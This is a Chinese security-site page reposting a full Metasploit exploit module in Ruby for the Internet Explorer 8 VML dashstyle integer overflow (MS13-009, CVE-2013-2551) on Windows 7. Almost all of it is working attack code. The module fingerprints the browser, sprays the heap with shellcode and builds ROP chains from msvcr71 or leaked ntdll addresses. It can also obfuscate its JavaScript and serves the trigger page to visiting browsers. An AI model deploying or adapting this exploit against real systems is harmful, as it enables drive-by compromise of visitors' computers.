首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow
来源:metasploit.com 作者:vazquez 发布时间:2013-06-14  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "8.0",
    :ua_maxver  => "8.0",
    :javascript => true,
    :os_name    => OperatingSystems::WINDOWS,
    :rank       => Rank
  })


  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
      'Description'    => %q{
          This module exploits an integer overflow vulnerability on Internet Explorer.
        The vulnerability exists in the handling of the dashstyle.array length for vml
        shapes on the vgx.dll module. This module has been tested successfully on Windows 7
        SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
        to use an info leak to disclose the ntdll.dll base address is provided. This target
        requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
        installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nicolas Joly', # Vulnerability discovery, PoC and analysis
          '4B5F5F4B', # PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-2551' ],
          [ 'OSVDB', '91197' ],
          [ 'BID', '58570' ],
          [ 'MSB', 'MS13-037' ],
          [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
          [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
        ],
      'Payload'        =>
        {
          'Space'          => 948,
          'DisableNops'    => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 8 on Windows 7 SP1 with JRE ROP', # default
            {
              'Rop' => :jre,
              'Offset' => '0x5f4'
            }
          ],
          # requires:
          # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
          # * ntdll.dll v6.1.7601.17725 (MS12-001)
          [ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak',
            {
              'Rop' => :ntdll,
              'Offset' => '0x5f4'
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 06 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)

  end

  def exploit
    @second_stage_url = rand_text_alpha(10)
    @leak_param = rand_text_alpha(5)
    super
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end

  def ie_heap_spray(my_target, p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

    # Land the payload at 0x0c0c0c0c
    # For IE 8
    js = %Q|
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var nops = unescape("#{js_nops}");
    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{my_target['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);
    heap_obj.gc();
    for (var i=1; i < 0x300; i++) {
      heap_obj.alloc(block);
    }
    |

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    return js
  end

  def get_ntdll_rop
    case @ntdll_version
    when "6.1.7601.17514"
      stack_pivot = [
        @ntdll_base+0x0001578a, # ret # from ntdll
        @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
        @ntdll_base+0x00015789, # xchg eax, esp # ret from ntdll
      ].pack("V*")
      ntdll_rop = [
        @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
        0x0c0c0c40, # ret to shellcode
        0xffffffff, # ProcessHandle
        0x0c0c0c34, # ptr to BaseAddress
        0x0c0c0c38, # ptr to NumberOfBytesToProtect
        0x00000040, # NewAccessProtection
        0x0c0c0c3c, # ptr to OldAccessProtection
        0x0c0c0c40, # BaseAddress
        0x00000400, # NumberOfBytesToProtect
        0x41414141  # OldAccessProtection
      ].pack("V*")
      return stack_pivot + ntdll_rop
    when "6.1.7601.17725"
      stack_pivot = [
        @ntdll_base+0x0001579a, # ret # from ntdll
        @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
        @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
      ].pack("V*")
      ntdll_rop = [
        @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
        0x0c0c0c40, # ret to shellcode
        0xffffffff, # ProcessHandle
        0x0c0c0c34, # ptr to BaseAddress
        0x0c0c0c38, # ptr to NumberOfBytesToProtect
        0x00000040, # NewAccessProtection
        0x0c0c0c3c, # ptr to OldAccessProtection
        0x0c0c0c40, # BaseAddress
        0x00000400, # NumberOfBytesToProtect
        0x41414141  # OldAccessProtection
      ].pack("V*")
      return stack_pivot + ntdll_rop
    else
      return ""
    end
  end

  def get_payload(t, cli)
    code = payload.encoded
    # No rop. Just return the payload.
    return code if t['Rop'].nil?

    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
    when :jre
      print_status("Using JRE ROP")
      stack_pivot = [
        0x7c348b06, # ret # from msvcr71
        0x7c341748, # pop ebx # ret # from msvcr71
        0x7c348b05  # xchg eax, esp # ret from msvcr71
      ].pack("V*")
      rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
    when :ntdll
      print_status("Using ntdll ROP")
      rop_payload = get_ntdll_rop + payload.encoded
    end

    return rop_payload
  end

  def load_exploit_html(my_target, cli)
    p  = get_payload(my_target, cli)
    js = ie_heap_spray(my_target, p)

    js_trigger = %Q|
var rect_array = new Array()
var a = new Array()

function createRects(){
  for(var i=0; i<0x1000; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}

function exploit(){

  var vml1 = document.getElementById("vml1")

  for (var i=0; i<0x1000; i++){
    a[i] = document.getElementById("rect" + i.toString())._anchorRect;
    if (i == 0x800) {
      vml1.dashstyle = "1 2 3 4"
    }
  }

  vml1.dashstyle.array.length = 0 - 1;
  vml1.dashstyle.array.item(6) = 0x0c0c0c0c;

  for (var i=0; i<0x1000; i++)
  {
    delete a[i];
    CollectGarbage();
  }
  location.reload();

}
    |

    create_rects_func = "createRects"
    exploit_func = "exploit"

    if datastore['OBFUSCATE']
      js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
      js_trigger.obfuscate
      create_rects_func = js_trigger.sym("createRects")
      exploit_func = js_trigger.sym("exploit")
    end

    html = %Q|
<html>
<head>
<script>
#{js}
</script>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
    |

    return html
  end

  def html_info_leak

    js_trigger = %Q|
var rect_array = new Array()
var a = new Array()

function createRects(){
  for(var i=0; i<0x400; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}

function exploit(){

  var vml1  = document.getElementById("vml1")

  for (var i=0; i<0x400; i++){
    a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  }

  for (var i=0; i<0x400; i++){
    a[i].rotation;
    if (i == 0x300) {
      vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
    }
  }

  var length_orig = vml1.dashstyle.array.length;
  vml1.dashstyle.array.length = 0 - 1;

  for (var i=0; i<0x400; i++)
  {
    a[i].marginLeft = "a";
    marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
    if (marginLeftAddress > 0) {
      vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
      var leak = a[i].marginLeft;
      vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
      vml1.dashstyle.array.length = length_orig;
      document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
      return;
    }
  }

}
    |

    create_rects_func = "createRects"
    exploit_func = "exploit"

    if datastore['OBFUSCATE']
      js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
      js_trigger.obfuscate
      create_rects_func = js_trigger.sym("createRects")
      exploit_func = js_trigger.sym("exploit")
    end

    html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
    |

    return html

  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
      html = html_info_leak
      html = html.gsub(/^\t\t/, '')
      print_status("Sending HTML to info leak...")
      send_response(cli, html, {'Content-Type'=>'text/html'})
    else
      leak = begin
        request.uri_parts["QueryString"][@leak_param].to_i
      rescue
        0
      end

      if leak == 0
        html = load_exploit_html(my_target, cli)
        html = html.gsub(/^\t\t/, '')
        print_status("Sending HTML to trigger...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
        return
      end

      vprint_status("ntdll leak: 0x#{leak.to_s(16)}")
      fingerprint = leak & 0x0000ffff

      case fingerprint
      when 0x70B0
        @ntdll_version = "6.1.7601.17514"
        @ntdll_base = leak - 0x470B0
      when 0x7090
        @ntdll_version = "6.1.7601.17725" # MS12-001
        @ntdll_base = leak - 0x47090
      else
        print_error("ntdll version not detected, sending 404: #{agent}")
        send_not_found(cli)
        return
      end

      html = load_exploit_html(my_target, cli)
      html = html.gsub(/^\t\t/, '')
      print_status("Sending HTML to trigger...")
      send_response(cli, html, {'Content-Type'=>'text/html'})

    end

  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·AXIS Media Control 6.2.10.11 -
·Easy LAN Folder Share Version
·Ubiquiti airCam RTSP Service 1
·Adrenalin Player 2.2.5.3 (.wax
·Syslog Server 1.2.3 - Crash Po
·Winamp 5.12 (.m3u) - Stack Bas
·Sami FTP Server 2.0.1 - RETR D
·Solaris 10 Patch Cluster File
·Linux kernel perf_swevent_init
·MoinMoin twikidraw Action Trav
·WinRadius 2.11 - Denial of Ser
·FreeBSD mmap Privilege Escalat
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved